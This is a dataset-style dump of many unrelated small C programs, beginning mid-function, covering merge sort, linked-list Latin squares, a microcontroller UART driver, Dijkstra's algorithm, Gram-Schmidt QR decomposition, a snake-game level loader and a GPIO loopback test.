for (k = p; k < r; k++) {
if (l_arr[i] <= r_arr[j])
A[k] = l_arr[i++];
else
A[k] = r_arr[j++];
}
free(l_arr);
free(r_arr);
}
int test_merge() {
int merge_input_data[] = {2, 4, 5, 7, 1, 2, 3, 6};
int merge_expected_data[] = {1, 2, 2, 3, 4, 5, 6, 7};
merge(&merge_input_data, 0, 4, 8);
assert(memcmp(merge_input_data, merge_expected_data,
ARRAY_SIZE(merge_input_data)) == 0);
}
|
C
|
//
// main.c
// 2020_11_16_01
//
// Created by dulei on 2020/11/16.
//
#include <stdio.h>
#include <stdlib.h>
struct LatinNode {
int data;
struct LatinNode *next;
};
void create_latin_list(struct LatinNode **latinList, int n);
void display_latin_matrix(struct LatinNode *latinList);
void create_latin_list(struct LatinNode **latinList, int n)
{
struct LatinNode *latin = (struct LatinNode*)malloc(sizeof(struct LatinNode));
if (latin == NULL) {
exit(EXIT_FAILURE);
}
latin->data = 1;
latin->next = latin;
*latinList = latin;
struct LatinNode *last = latin;
for (int i = 0; i < n-1; i++) {
struct LatinNode *node = (struct LatinNode *)malloc(sizeof(struct LatinNode));
if (node == NULL) {
exit(EXIT_FAILURE);
}
node->data = last->data+1;
node->next = *latinList;
last->next = node;
last = node;
}
}
void display_latin_matrix(struct LatinNode *latinList)
{
struct LatinNode *matrix_x = latinList;
struct LatinNode *matrix_y = latinList;
do {
matrix_x = matrix_y;
do {
printf("%d ", matrix_x->data);
matrix_x = matrix_x->next;
} while (matrix_x != matrix_y);
printf("\n");
matrix_y = matrix_y->next;
} while (matrix_y != latinList);
}
int main(int argc, const char * argv[]) {
struct LatinNode *latinList = NULL;
create_latin_list(&latinList, 10);
display_latin_matrix(latinList);
printf("Hello, World!\n");
return 0;
}
|
C
|
/*
* Types with defined size
* Have a look at the header file stdint.h.
* There are typedefined types like (where N is in {8, 16, 32, 64})
*
* intN_t - signed integers with exactly specified width
* int_leastN_t - signed integers with a width of at least N
* int_fastN_t - fastest signed integers with a width of at least N
* Unsigned variants have prefix "u".
*
* Be careful when using printf functions. Since you do not know which C type
* are behind these typedefs, you have to use predefined constants from
* inttypes.h. Constants starts with PRI followed by type character
* (one of diouxX), modificator LEAST or FAST or nothing, and number of bits.
* For example, 32 bit fast integer would take the form PRIdFAST32.
*
* For more info.
* https://en.wikibooks.org/wiki/C_Programming/stdint.h
* https://en.wikibooks.org/wiki/C_Programming/inttypes.h
* https://en.cppreference.com/w/cpp/types/integer
*/
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <inttypes.h>
int main(void)
{
int8_t i8;
int16_t i16;
int32_t i32;
int64_t i64;
printf("%" PRId64 "\n", i64);
uint8_t ui8;
uint16_t ui16;
uint32_t ui32;
uint64_t ui64;
int_least8_t il8;
int_least16_t il16;
int_least32_t il32;
int_least64_t il64;
uint_least8_t uil8;
uint_least16_t uil16;
uint_least32_t uil32;
uint_least64_t uil64;
int_fast8_t if8;
int_fast16_t if16;
int_fast32_t if32;
int_fast64_t if64;
uint_fast8_t uif8;
uint_fast16_t uif16;
uint_fast32_t uif32;
uint_fast64_t uif64;
intptr_t ip;
uintptr_t uip;
intmax_t im;
uintmax_t uim;
return 0;
}
|
C
|
#include<stdio.h>
int main() {
char ch;
printf("Char : ");
scanf("%c", &ch);
printf("ASCII : %d", ch);
return 0;
}
|
C
|
/**
*
* Configure and provide and API for the UART interface.
*
* - Assumes a 50MHz bus, clock.
*/
#include "../uart_wifi_scan_v1/uart_driver.h"
#include <stdint.h>
#include <stdlib.h>
#include "../uart_wifi_scan_v1/tm4c123gh6pm.h"
/**
* Initiates the ritual to configure the UART 0 port.
*/
void initUart() {
SYSCTL_RCGCUART_R |= 0x0001; // Activate UART0
SYSCTL_RCGCGPIO_R |= 0x0001; // Activate port A
// Configure BAUD rate
UART0_CTL_R &= ~0x0001; // disable UART
UART0_IBRD_R = 27; // IBRD = int(50,000,000 / (16*115,200)) = int(27.1267)
UART0_FBRD_R = 8; // FBRD = round(0.1267 * 64) = 8
UART0_LCRH_R = 0x00000070; // 8 bit, no parity bits, one stop, FIFOs
UART0_CTL_R |= 0x00000301; // enable RXE, TXE and UART
GPIO_PORTA_PCTL_R = (GPIO_PORTA_PCTL_R & 0xFFFFFF00) + 0x00000011; // uart
GPIO_PORTA_AMSEL_R &= ~0x03; // disable analog on PA1-0
GPIO_PORTA_AFSEL_R |= 0x03; // enable alt funct on PA1-0
GPIO_PORTA_DEN_R |= 0x03; // enable digital I/0 on PA-0.
}
void putChar(char data) {
// Waits for buffer to be not full, then output
while ((UART0_FR_R & 0x0020) != 0) {
// wait until TXFF is 0
}
// Writes the data in the UART register, after that, the UART device
// will send it over the wire.
UART0_DR_R = data;
}
void putChars(const char *chars, size_t length) {
for (uint32_t i = 0; i < length; i++) {
putChar(*chars++);
}
}
void putString(const char *string) {
for (uint32_t i = 0; string[i] != 0; i++) {
putChar(string[i]);
}
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include "array.h"
struct array *new_array(int size)
{
if(size <= 0)
return NULL;
struct array *ar = malloc(sizeof(struct array));
char *data = calloc(size,size);
ar->size = size;
ar->data = data;
return ar;
}
void free_array(struct array *ar)
{
free(ar->data);
free(ar);
}
int get_array_val(struct array *ar, int x, int y)
{
int pos = x*ar->size + y;
return ar->data[pos];
}
void set_array_val(struct array *ar, int x, int y, int val)
{
int pos = x*ar->size + y;
ar->data[pos] = val;
}
void print_array(struct array *ar)
{
int i,j,size = ar->size;
for(i=0;i<size;i++)
{
for(j=0;j<size;j++)
if(get_array_val(ar,j,i))
printf(" X");
else
printf(" .");
printf("\n");
}
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#define Inf 987654321
#define EmptyTOS -1
//data type declare
typedef struct Node* node;
typedef struct HeapStruct* Heap;
struct Node{
int vertex;
int priority;
};
struct HeapStruct{
int Capacity;
int Size;
node Elements;
};
//function prototype
Heap CreateHeap(int size);
void Push(Heap H, struct Node n);
struct Node Pop(Heap H);
int empty(Heap H);
void tracking(struct Node* n, int i);
int main(int argc, char** argv){
FILE *ifp;
int size;
int data;
int offset;
int i, j;
int** map;
int* chk;
int exist[100] = { 0, };
char line1[200], line2[200];
char *p = line1;
ifp = fopen(argv[1], "r");
fscanf(ifp, " %[^\n]", line1);
//fscanf(ifp, " %[^\n]", line2);
int max = 0;
int start = 0;
sscanf(p, "%d%n", &start, &offset);
exist[start] = 1;
p += offset;
while (sscanf(p, "%d%n", &data, &offset) != EOF){
exist[data] = 1;
if (max < data)
max = data;
p += offset;
}
//p = line2;
chk = (int*)malloc(sizeof(int)*(max + 2));
map = (int**)malloc(sizeof(int*)*(max + 2));
for (i = 0; i <= max; i++){
chk[i] = 0;
map[i] = (int*)malloc(sizeof(int)*(max + 2));
for (j = 0; j <= max; j++)
map[i][j] = Inf;
}
int a, b, c;
while (fscanf(ifp, "%d-%d-%d ", &a, &b, &c) != EOF) {
map[a][b] = c;
}
node Data;
Data = (struct Node*)malloc(sizeof(struct Node)*(max + 2));
for (i = 0; i <= max; i++){
Data[i].priority = Inf;
}
Heap H;
H = CreateHeap(max);
struct Node temp,now;
now.priority = 0;
now.vertex = start;
Push(H, now);
Data[start].priority = 0;
Data[start].vertex = start;
while (!empty(H)){
now = Pop(H);
chk[now.vertex] = 1;
for (i = 0; i <= max; i++){
if (map[now.vertex][i] != Inf&&chk[i] == 0 && exist[i] == 1){
if (now.priority + map[now.vertex][i] < Data[i].priority){
Data[i].priority = now.priority + map[now.vertex][i];
Data[i].vertex = now.vertex;
temp.priority = now.priority + map[now.vertex][i];
temp.vertex = i;
Push(H, temp);
}
}
}
}
int mean=Inf,mean_position;
for (i = 0; i <= max; i++){
if (exist[i]==0)
continue;
if(Data[i].priority<mean&&Data[i].priority!=0){
mean_position=i;
mean=Data[i].priority;
}
printf("from %d to %d:", start, i);
tracking(Data, i);
printf(" (cost %d)\n", Data[i].priority);
}
printf("Shortest path\nfrom %d to %d:",start,mean_position);
tracking(Data,mean_position);
printf(" (cost %d)\n", mean);
return 0;
}
//Create a empty heap
Heap CreateHeap(int size){
Heap H;
H = (struct HeapStruct*)malloc(sizeof(struct HeapStruct));
H->Capacity = size;
H->Size = 0;
H->Elements = (struct Node*)malloc(sizeof(struct Node)*(size + 2));
return H;
}
//Insert the value to the heap
void Push(Heap H, struct Node value){
int i;
for (i = ++H->Size; H->Elements[i / 2].priority>value.priority; i /= 2){
if (i / 2 == 0) {
break;
}
H->Elements[i] = H->Elements[i / 2];
}
H->Elements[i].priority = value.priority;
H->Elements[i].vertex = value.vertex;
}
//Return and delete the max value(top of the heap) from the heap
struct Node Pop(Heap H){
int i, C;
struct Node temp, Last;
temp.priority = H->Elements[1].priority;
temp.vertex = H->Elements[1].vertex;
Last.priority = H->Elements[H->Size].priority;
Last.vertex = H->Elements[H->Size].vertex;
H->Size--;
for (i = 1; i * 2 <= H->Size; i = C){
C = i * 2;
if (C != H->Size&&H->Elements[C + 1].priority<H->Elements[C].priority)
C++;
if (Last.priority>H->Elements[C].priority)
H->Elements[i] = H->Elements[C];
else
break;
}
H->Elements[i] = Last;
return temp;
}
//Return 1 if the heap is empty, else 0
int empty(Heap H){
if (H->Size == 0)
return 1;
return 0;
}
//Operate back tracking and print the path
void tracking(struct Node *n, int i){
int k = n[i].vertex;
if (i == k){
printf("%d", i);
return;
}
tracking(n, k);
printf("->%d", i);
}
|
C
|
// Gram-Schmidt decomposition
/* ............................................................
* Given a matrix A, return the QR decomposition using the Gram-Schmidt
* orthogonalisation method (GS-method).
* Upon return, A stores Q and R stores the computed matrix R s.t
* A = QR, QTQ = QQT = 1 and R is upper-triangular.
* ............................................................ */
void GS_decomp (matrix* A, matrix* Q, matrix* R)
{
matrix_memcpy (A, Q);
//double aij, aik, dot;
double qij, aik, dot;
// Iterate over column-vectors of A;
for (int j=0; j<A->size2; j++)
{
// Calculate norm of column-vector
double norm = matrix_column_norm (Q, j);
// Set diagonal of R
matrix_set (R, j, j, norm);
// Normalise column vector of A (qi = ai/norm(ai))
for (int i=0; i<A->size1; i++)
{
qij = matrix_get (Q, i, j) / norm;
matrix_set (Q, i, j, qij);
}
// Orthogonalise the column-vector from rest of set
// and calculate dot product for fixed qj, and variable ak (row of R)
for (int k=j+1; k<A->size2+1; k++)// +1
{
// Calculate dot-product
dot = 0;
// elementwise multiplication
for (int l=0; l<A->size1; l++)
{
dot += matrix_get (Q, l, j) * matrix_get (Q, l, k);
}
matrix_set (R, j, k, dot);
// Elementwise
for (int i=0; i<A->size1; i++)
{
aik = matrix_get (Q, i, k);
qij = matrix_get (Q, i, j);
// Elementwise GS
matrix_set(Q, i, k, aik - dot*qij);
}
}
}
}
/* ............................................................
* Gram-Schmidt solver
* Given matrices Q, R from GS_decomp, and vectors b and x,
* solve the system
* Q*R*x = b
* by applying QT to the vector b, saving the result in vector x,
* QT(Q*R*x) = QT*b, as QTQ = 1
* R*x = QT*b
* and then performing backward/in-place substitution on x
* (as R is upper triangular).
*
* returns x
* ............................................................ */
void GS_solve (matrix* Q, matrix* R, vector* b, vector* x)
{
matrix* QT = matrix_alloc (Q->size2, Q->size1);
matrix_transpose_memcpy (Q, QT);
matrix_vector_product (QT, b, x);
backsub (R, x);
matrix_free (QT);
// Stores result in x
}
/* ............................................................
* Given matrices Q and R from GS_decomp calculates inverse of
* A = Q*R
* inv(A) = inv(Q*R) = inv(R)*inv(Q) = inv(R)*QT
* and stores this in QRI
* ............................................................ */
void GS_inverse (matrix* Q, matrix* R, matrix* inv_QR)
{
matrix* inv_Q = matrix_alloc (Q->size2, Q->size1);
matrix* inv_R = matrix_alloc (R->size2, R->size1);
// Calculate inverses
matrix_transpose_memcpy (Q, inv_Q);
matrix_inverse_upper_triangular (R, inv_R);
// inv_QR = inv_R * inv_Q
matrix_matrix_product (inv_R, inv_Q, inv_QR);
free (inv_Q);
free (inv_R);
}
|
C
|
#include "obstacle.h"
#include "player.h"
#include "graphics.h"
#include "asciidisplay.h"
#include "obstacle_manager.h"
#include "rng.h"
#define NUM_OBS 3
Obstacle obstacles[NUM_OBS];
void initObstacles()
{
// create 2 obstacles
for (int i = 0; i < NUM_OBS; i++)
{
int height = genRandomNum() % 20 + 16;
int x = i * (128/NUM_OBS);
initObstacle(&obstacles[i], height, x);
}
}
void renderObstacles()
{
for(int i=0; i<NUM_OBS; ++i)
{
obstacles[i].render(&obstacles[i]);
}
}
void updateObstacles(Player* player)
{
for(int i=0; i<NUM_OBS; ++i)
{
if (obstacles[i].xPos < player->xPos - 15 )
{
int height = genRandomNum() % 20 + 16;
obstacles[i].height = height;
obstacles[i].xPos += 128;
}
obstacles[i].update(&obstacles[i], player);
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "../list.h"
#include "../types.h"
#include "../level.h"
#include "../filereader.h"
void printFile(FILE* f){
char buffer[1024], buffer2[64];
clearBuffer(buffer, 1024);
clearBuffer(buffer2, 64);
int words = 0, line = 0;
int start;
// read line by line
while(readLine(f, buffer, 1024)){
printf("\n\nLine: %d\n", ++line);
start = 0;
while(start != -1){
start = readWord(buffer, buffer2, start);
printf("\n\tword %d: '%s'", ++words, buffer2);
}
}
printf("\n\n");
}
void printLevelMap(Level* l){
int i, j;
printf("MAP:\n\t");
printf("Size: \n\t\t%d width\n\t\t%d height\n\n\t", l->width, l->height);
printf("Spawn point: (%d, %d)\n\n\t", l->spawnPoint.x, l->spawnPoint.y);
printf("Target score: %d\n\n\t", l->targetScore);
printf("Initial speed: %f\n\n\t", l->initialSpeed);
printf("Initial direction: %d\n\n\t", l->initialDirection);
printf("Structure:\n\t\t");
for(j = 0; j < l->height; j++){
for(i = 0; i < l->width; i++){
printf("%d\t", l->map[i][j]);
}
printf("\n\t\t");
}
printf("\n\nBonuses:\n\t");
SpawnData sd = l->bonusSpawnRules;
printf("Frequency: %d\n\t", sd.frequency);
printf("Generosity: %d\n\t", sd.generosity);
printf("Expiring in: %d\n\t", sd.expiring_in);
List* wcbs = sd.whatCanBeSpawned;
printf("What can be spawned: %d bonuses\n\t\t", wcbs->size);
Bonus* b;
for(i = 0; i < wcbs->size; i++){
b = lAt(wcbs, i);
printf("Bonus %d:\n\t\t", i+1);
printf("\tType: %d\n\t\t", b->type);
printf("\tDuration: %d\n\t\t", b->duration);
printf("\tRarity: %d\n\t\t", b->rarity);
}
printf("\n\nTunnels: %d\n\t", l->tunnels->size);
Tunnel* t;
for(i = 0; i < l->tunnels->size; i++){
t = lAt(l->tunnels, i);
printf("Tunnel %d:\n\t", i);
printf("\tWay1: (%d, %d) Dir: %d\n\t", t->way1.x, t->way1.y, t->way1.direction);
printf("\tWay2: (%d, %d) Dir: %d\n\t", t->way2.x, t->way2.y, t->way2.direction);
}
}
void testLoadLevelFromFile(){
Snake* s = malloc(sizeof(Snake));
Level* l = loadLevelFromFile(s, "maps1.txt");
printLevelMap(l);
}
int main(){
char* filename = "maps/maps1.txt";
FILE* f = fopen(filename, "r");
//printFile(f);
fclose(f);
printf("\n\n============================\n\n");
/*char* s = "\t\t3\n";
int x;
sscanf(s, "%d", &x);
printf("X eh: %d\n", x);*/
testLoadLevelFromFile();
printf("\n\n============================\n\n");
return 0;
}
|
C
|
#include<stdio.h>
void split_time(long, int*, int*, int*);
int main(){
int n, hr = 0, min = 0, sec = 0;
printf("Enter Seconds : ");
scanf("%d", &n);
if(n < 0) {
printf("Seconds cannot be -ve, Please enter non negative value");
}
else{
split_time(n, &hr, &min, &sec);
printf("Converted format: %d hour %d mins %d secs", hr, min, sec);
}
return 0;
}
void split_time(long total_sec, int* hr, int* min, int* sec){
int remaing_sec = 0;
*hr = total_sec/3600;
remaing_sec = total_sec%3600;
*min = remaing_sec/60;
*sec = remaing_sec%60;
}
|
C
|
/*---------------------------------------------------------------*/
/* Numerische Programmierung */
/* Serie 5 - Simulation Loesung der Wellengleichung */
/* ------------------------------------------------------------- */
/* Autoren: Christina Boerst */
/* Versionsnummer: 1 */
/*---------------------------------------------------------------*/
#include <assert.h>
#include "gridfunc1d.h"
#include "leapfrog1d.h"
#include <stdio.h>
/* Note:
-'t' time value
- 'delta' increment for the leapfrog method
- 'data' used for m, c and the knowledge if a
wave on the boundary should start at the left
interval edge or the right .
*/
void // change x AND v in one leapfrog call
step_leapfrog1d_wave(pcgridfunc1d u_old, pcgridfunc1d v_old,
pgridfunc1d u_new, pgridfunc1d v_new, double t, double delta, void* data){
double *ox = u_old->x;
double *ov = v_old->x;
double *nx = u_new->x;
double *nv = v_new->x;
int n = u_old->d;
double c = ((double*)data)[1]; // make sure c is saved in data[1]
double lr = ((double*)data)[0];
double h = u_old->g->h;
double k = 2.0 * c * c / h / h * delta;
for(int i = 1; i < n-1; i++){
nx[i] = ox[i] + 2.0 * delta * ov[i];
}
if(lr == 'l'){
left_boundary_gridfunc1d(u_new,t);
}else if(lr == 'r'){
right_boundary_gridfunc1d(u_new,t);
}
for(int i = 1; i < n-1; i++){
nv[i] = ov[i] + k * (nx[i-1] - 2.0 * nx[i] + nx[i+1]);
}
/* FILE *f = fopen("checkfl7.txt","a");
if(f){
f = fopen("checkfl7.txt","a");
for(int i = 0; i < n; i += 5){
if(nx[i] && nv[i]) fprintf(f,"%f\t%f\n",nx[i],nv[i]);
}
fprintf(f,"\ntime: %f\tnewline\n\n",t);
}
if(f) fclose(f); */
}
|
C
|
/*
* Perform a loopback test on the pzsdr breakout board using the test fixture.
*/
#include "sleep.h"
#include "xil_cache.h"
#include "xil_io.h"
#include "xparameters.h"
#include "xstatus.h"
#define GPIO_WAIT_TIME 5000
#include <stdio.h>
void gpio_write(u32 value) {
Xil_Out32((XPAR_AXI_GPREG_BASEADDR + (0x101 * 0x4)), value);
Xil_Out32((XPAR_AXI_GPREG_BASEADDR + (0x111 * 0x4)), value);
Xil_Out32((XPAR_AXI_GPREG_BASEADDR + (0x121 * 0x4)), value);
}
int gpio_read(u32 pin, u32 expected) {
int ret = XST_SUCCESS;
u32 rdata;
rdata = Xil_In32(XPAR_AXI_GPREG_BASEADDR + (0x102 * 0x4));
if (rdata != expected) {
xil_printf("Loopback error on pin %d: "
"wrote 0x%08x, read 0x%08x\r\n", pin, expected, rdata);
ret = XST_FAILURE;
}
rdata = Xil_In32(XPAR_AXI_GPREG_BASEADDR + (0x112 * 0x4));
if (rdata != expected) {
xil_printf("Loopback error on pin %d: "
"wrote 0x%08x, read 0x%08x\r\n", (pin + 32), expected, rdata);
ret = XST_FAILURE;
}
if (pin < 24) {
rdata = Xil_In32(XPAR_AXI_GPREG_BASEADDR + (0x122 * 0x4));
if ((rdata & 0xffffff) != ((expected & 0xffffff) | 0x2)) {
xil_printf("Loopback error on pin %d: "
"wrote 0x%08x, read 0x%08x\r\n", (pin + 64),
expected, rdata);
ret = XST_FAILURE;
}
}
return ret;
}
void gpio_wait()
{
u32 i;
for(i = 0; i < GPIO_WAIT_TIME; i++) {
asm("nop");
}
}
int main()
{
int ret = XST_SUCCESS;
u32 n, wdata;
Xil_DCacheDisable();
Xil_ICacheDisable();
/* walking 1 */
for(n = 0; n < 32; n++) {
wdata = 1 << n;
gpio_write(wdata);
gpio_wait();
if (gpio_read(n, wdata) != XST_SUCCESS)
ret = XST_FAILURE;
}
/* walking 0 */
for(n = 0; n < 32; n++) {
wdata = 1 << n;
wdata = ~wdata;
gpio_write(wdata);
gpio_wait();
if (gpio_read(n, wdata) != XST_SUCCESS)
ret = XST_FAILURE;
}
return ret;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.